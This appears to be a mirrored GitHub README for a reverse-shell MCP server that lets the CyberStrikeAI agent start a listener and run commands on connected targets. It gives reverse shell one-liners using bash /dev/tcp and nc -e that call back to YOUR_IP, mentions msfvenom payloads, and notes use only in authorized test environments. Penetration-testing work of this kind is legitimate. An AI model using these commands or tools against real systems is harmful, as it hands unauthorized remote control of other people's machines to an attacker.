mirror of
https://github.com/Ed1s0nZ/CyberStrikeAI.git
synced 2026-03-31 16:20:28 +02:00
Reverse Shell MCP
Add reverse shell capability to CyberStrikeAI via External MCP: start/stop a TCP listener and run commands on connected targets—no backend code changes required.
Tools
| Tool | Description |
|---|---|
reverse_shell_start_listener |
Start TCP listener on a given port; wait for the target to connect. |
reverse_shell_stop_listener |
Stop the listener and disconnect the current client. |
reverse_shell_status |
Show status: listening or not, port, connected or not, client address. |
reverse_shell_send_command |
Send a command to the connected reverse shell and return output. |
reverse_shell_disconnect |
Disconnect the current client only; listener keeps running for new connections. |
Requirements
- Python 3.10+
mcppackage (included if using the project venv; otherwise:pip install mcp)
Setup in CyberStrikeAI
-
Paths
Example: project root/path/to/CyberStrikeAI-main
Script:/path/to/CyberStrikeAI-main/mcp-servers/reverse_shell/mcp_reverse_shell.py -
Web UI → Settings → External MCP → Add External MCP. Paste JSON (replace paths with yours):
{
"reverse-shell": {
"command": "/path/to/CyberStrikeAI-main/venv/bin/python3",
"args": ["/path/to/CyberStrikeAI-main/mcp-servers/reverse_shell/mcp_reverse_shell.py"],
"description": "Reverse shell: start/stop listener, run commands on connected target",
"timeout": 60,
"external_mcp_enable": true
}
}
command: Prefer the project venv Python; or use systempython3.args: Must be absolute path tomcp_reverse_shell.py.- Save, then click Start for this MCP to use the tools in chat.
- Typical workflow
- Call
reverse_shell_start_listener(4444)to listen on port 4444. - On the target, run a reverse connection, e.g.:
- Linux:
bash -i >& /dev/tcp/YOUR_IP/4444 0>&1ornc -e /bin/sh YOUR_IP 4444 - Or use msfvenom-generated payloads, etc.
- Linux:
- After connection, use
reverse_shell_send_command("id"),reverse_shell_send_command("whoami"), etc. - Use
reverse_shell_statusto check state,reverse_shell_disconnectto drop the client only,reverse_shell_stop_listenerto stop listening.
- Call
Run locally (optional)
# From project root, with venv
./venv/bin/python mcp-servers/reverse_shell/mcp_reverse_shell.py
The process talks MCP over stdio; CyberStrikeAI starts it the same way when using External MCP.
Security
- Use only in authorized, isolated test environments.
- Listener binds to
0.0.0.0; restrict access with firewall or network policy if the port is exposed.